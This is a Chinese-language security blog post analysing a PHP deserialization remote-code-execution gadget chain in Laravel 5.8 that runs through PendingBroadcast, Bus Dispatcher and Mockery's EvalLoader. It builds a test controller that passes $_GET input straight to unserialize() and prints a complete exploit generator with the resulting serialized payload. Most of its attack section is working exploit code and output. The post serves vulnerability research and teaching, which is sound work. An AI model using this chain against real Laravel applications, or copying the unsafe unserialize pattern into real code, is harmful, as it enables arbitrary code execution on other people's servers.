Laravel 5.8 RCE 分析

原帖地址 : https://xz.aliyun.com/t/6059
Laravel 代码审计

环境搭建

composer create-project --prefer-dist laravel/laravel laravel58 安装 Laravel 5.8 并生成 laravel58 项目
进入项目文件夹，使用 php artisan serve 启动 web 服务

在 laravel58/routes/web.php 文件添加路由

Route::get("/","AppHttpControllersDemoController@demo");

在 laravel58/app/Http/Controllers/ 下添加 DemoController.php 控制器

<?php
namespace AppHttpControllers;

class DemoController extends Controller
{
    public function demo()
    {
        if(isset($_GET['c'])){
            $code = $_GET['c'];
            unserialize($code);
        }
        else{
            highlight_file(__FILE__);
        }
        return "Welcome to laravel5.8";
    }
}

漏洞分析

ph 牛的 payload : https://github.com/ambionics/phpggc/pull/61
从 IlluminateBroadcastingPendingBroadcast 类的 __destruct 方法开始的 pop 链

IlluminateBroadcastingPendingBroadcast 中，$events 必须实现 Dispatcher 接口，这里选择的是 IlluminateBusDispatcher

public function __construct(Dispatcher $events, $event)
{
    $this->event = $event;
    $this->events = $events;
}

public function __destruct()
{
    $this->events->dispatch($this->event);
}

IlluminateBusDispatcher 中，调用 dispatch 方法，进入 if 判断，$this->queueResolver 是在实例化 IlluminateBusDispatcher 时的一个参数，它必须有值，$command 也就是 $this->event 必须实现 ShouldQueue 接口，这里选择的就是 IlluminateBroadcastingBroadcastEvent

// $command : $this->event
public function dispatch($command)
{
    if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
        return $this->dispatchToQueue($command);
    }
    
    return $this->dispatchNow($command);
}

public function __construct(Container $container, Closure $queueResolver = null)
{
    $this->container = $container;
    $this->queueResolver = $queueResolver;
    $this->pipeline = new Pipeline($container);
}

protected function commandShouldBeQueued($command)
{
    return $command instanceof ShouldQueue;
}

到这里，构造出的 exp :

<?php
namespace IlluminateBroadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        function __construct($evilCode)
        {
            $this->events = new IlluminateBusDispatcher();
            $this->event = new BroadcastEvent($evilCode);
        }
    }
}
?>

然后进入 dispatchToQueue 方法，存在 call_user_func 方法，其中的 $this->queueResolver 是可控的，这里利用的是 MockeryLoaderEvalLoader 的 load 方法，即 $this->queueResolver 为 array(new MockeryLoaderEvalLoader(), "load")

public function dispatchToQueue($command)
{
    $connection = $command->connection ?? null;
    
    $queue = call_user_func($this->queueResolver, $connection);
    
    if (! $queue instanceof Queue) {
        throw new RuntimeException('Queue resolver did not return a Queue implementation.');
    }

    if (method_exists($command, 'queue')) {
        return $command->queue($queue, $command);
    }
    
    return $this->pushCommandToQueue($queue, $command);
}

这个点的意思就是
1. $this->events 调用 dispatch 传入参数 $this->event 后
2. 访问 $this->events 的 queueResolver 属性
3. 调用 $this->events->commandShouldBeQueued($this->event) 方法
4. 调用 dispatchToQueue 传入 $this->event 参数。其中的 $connection 为 $this->event->connection ，即 IlluminateBroadcastingBroadcastEvent 中的 $connection 属性
5. call_user_func 将 $connection 作为参数传给 $this->queueResolver 返回的函数

到这里，构造出的 exp 如下，已经实现 call_user_func($this->queueResolver, $connection) 即 call_user_func($evilFunc, $evilCode) ，接下来就要寻找一个可以利用的函数，这里选择的是 MockeryLoaderEvalLoader ，继续跟进

<?php
namespace IlluminateBroadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        function __construct($evilCode)
        {
            $this->events = new IlluminateBusDispatcher();
            $this->event = new BroadcastEvent($evilCode);
        }
    }
	
	class BroadcastEvent {
        public $connection;
        function __construct($evilCode)
        {
            $this->connection = $evilCode;
        }
    }
}

namespace IlluminateBus {
    class Dispatcher {
        protected $queueResolver;
        function __construct()
        {
            $this->queueResolver = $evilFunc;
        }
    }
}

MockeryLoaderEvalLoader 中有一个 eval 函数可以利用，这里的 $definition 是 MockDefinition 类的实例化对象，也就说明 $this->event->connection 是 MockDefinition 类的实例化对象。接下来就是绕过 if 判断。

class EvalLoader implements Loader
{
    public function load(MockDefinition $definition)
    {
        if (class_exists($definition->getClassName(), false)) {
            return;
        }

        eval("?>" . $definition->getCode());
    }
}

跟进 MockeryGeneratorMockDefinition ，如果要绕过 if 判断，必须让 getClassName 返回一个不存在的类名，即 $this->config->getName() 返回一个不存在的类名。$config 为 MockeryGeneratorMockConfiguration 的实例化对象

class MockDefinition
{
    protected $config;
    protected $code;

    public function __construct(MockConfiguration $config, $code)
    {
        if (!$config->getName()) {
            throw new InvalidArgumentException("MockConfiguration must contain a name");
        }
        $this->config = $config;
        $this->code = $code;
    }

    public function getConfig()
    {
        return $this->config;
    }

    public function getClassName()
    {
        return $this->config->getName();
    }

    public function getCode()
    {
        return $this->code;
    }
}

MockeryGeneratorMockConfiguration 中，让 getName() 返回一个不存在的类名，最终执行 eval("?>" . $definition->getCode()); 实现 RCE
```
class MockConfiguration
{
    protected $name;
    
    public function getName()
    {
        return $this->name;
    }
}
```

最终的 exp ，(ph 牛的 exp ) :

<?php
namespace IlluminateBroadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        function __construct($evilCode)
        {
            $this->events = new IlluminateBusDispatcher();
            $this->event = new BroadcastEvent($evilCode);
        }
    }
	
	class BroadcastEvent {
        public $connection;
        function __construct($evilCode)
        {
            $this->connection = new MockeryGeneratorMockDefinition($evilCode);
        }
    }
}

namespace IlluminateBus {
    class Dispatcher {
        protected $queueResolver;
        function __construct()
        {
            $this->queueResolver = [new MockeryLoaderEvalLoader(), 'load'];
        }
    }
}

namespace MockeryLoader {
    class EvalLoader {}
}
namespace MockeryGenerator {
    class MockDefinition {
        protected $config;
        protected $code;
        function __construct($evilCode)
        {
            $this->code = $evilCode;
            $this->config = new MockConfiguration();
        }
    }
    class MockConfiguration {
        protected $name = 'abcdefg';
    }
}

namespace {
	$code = "<?php phpinfo(); exit; ?>";
	$exp = new IlluminateBroadcastingPendingBroadcast($code);
	echo serialize($exp);
}
?>

构造输出结果 :

O:40:"IlluminateBroadcastingPendingBroadcast":2:{S:9:"0*0events";O:25:"IlluminateBusDispatcher":1:{S:16:"0*0queueResolver";a:2:{i:0;O:25:"MockeryLoaderEvalLoader":0:{}i:1;S:4:"load";}}S:8:"0*0event";O:38:"IlluminateBroadcastingBroadcastEvent":1:{S:10:"connection";O:32:"MockeryGeneratorMockDefinition":2:{S:9:"0*0config";O:35:"MockeryGeneratorMockConfiguration":1:{S:7:"0*0name";S:7:"abcdefg";}S:7:"0*0code";S:25:"<?php phpinfo(); exit; ?>";}}}

一些思考

危险函数的寻找

eval，call_user_func
phpstorm + xdebug 调试代码
PHP 序列化的时候 private 和 protected 变量会引入不可见字符 x00，0Test0y 为 private，0*0 为 protected，注意这两个 x00 就是 ascii 码为 0 的字符。这个字符显示和输出可能看不到，甚至导致截断，url 编码后就可以看得很清楚了。此时，为了更加方便进行反序列化 payload 的传输与显示，我们可以在序列化内容中用大写 S 表示字符串，此时这个字符串就支持将后面的字符串用 16 进制表示。
```
<?php
class Test
{
	public $x="peri0d";
	private $y="peri0d";
	protected $z="peri0d";
}

$k = new Test();

echo serialize($k);

// O:4:"Test":3:{S:1:"x";S:6:"peri0d";S:7:"0Test0y";S:6:"peri0d";S:4:"0*0z";S:6:"peri0d";}
?>
```

反序列化测试代码 :

<?php
// 环境 : php 7.1.13 nts
class Test
{
	public $x="peri0d";
	private $y="peri0d";
	protected $z="peri0d";
}

$n = new Test();
var_dump(serialize($n));
var_dump(unserialize(serialize($n))); // 成功

$k = 'O:4:"Test":3:{S:1:"x";S:6:"peri0d";S:7:"0Test0y";S:6:"peri0d";S:4:"0*0z";S:6:"peri0d";}';
var_dump(unserialize($k)); // 成功

$m = 'O:4:"Test":3:{s:1:"x";s:6:"peri0d";s:7:"0Test0y";s:6:"peri0d";s:4:"0*0z";s:6:"peri0d";}';
var_dump(unserialize($m)); // 失败

$l = 'O:4:"Test":3:{s:1:"x";s:6:"peri0d";s:7:"Testy";s:6:"peri0d";s:4:"*z";s:6:"peri0d";}';
var_dump(unserialize($l)); // 失败
?>

参考链接

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原文地址：https://www.cnblogs.com/peri0d/p/11508890.html